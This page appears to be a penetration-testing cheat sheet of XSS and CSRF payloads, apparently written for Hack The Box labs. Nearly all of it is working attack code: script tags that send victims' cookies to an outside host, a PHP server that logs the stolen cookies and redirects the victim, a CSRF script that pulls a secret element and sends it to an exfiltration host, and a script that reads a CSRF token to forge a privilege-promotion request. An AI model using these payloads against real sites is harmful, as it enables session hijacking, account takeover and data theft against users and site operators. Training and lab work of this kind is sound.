XSS / CSRF
XSS Payloads
Cookie Stealer, no Fetch
<script>window.location = "http://winner.com/cookiestealer?c=" + document.cookie;</script>Cookie Stealer
<script>
fetch('http://winner.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>Use a redirect and logging server with php -S 10.10.10.10:8000
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://www.google.com/");
exit;
?>CSRF Payloads
CSRF Exfiltration
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://api.vulnerablesite.htb/data', true);
xhr.withCredentials = true;
xhr.onload = () => {
// parse the response
var doc = new DOMParser().parseFromString(xhr.response, 'text/html');
// exfiltrate only the interesting element
var msg = encodeURIComponent(doc.getElementById('secret').innerHTML);
location = 'https://exfiltrate.htb/log?data=' + btoa(msg);
};
xhr.send();
</script>Bypassing CSRF Token
<script>
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://vulnerablesite.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);
// do CSRF
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://vulnerablesite.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>Last updated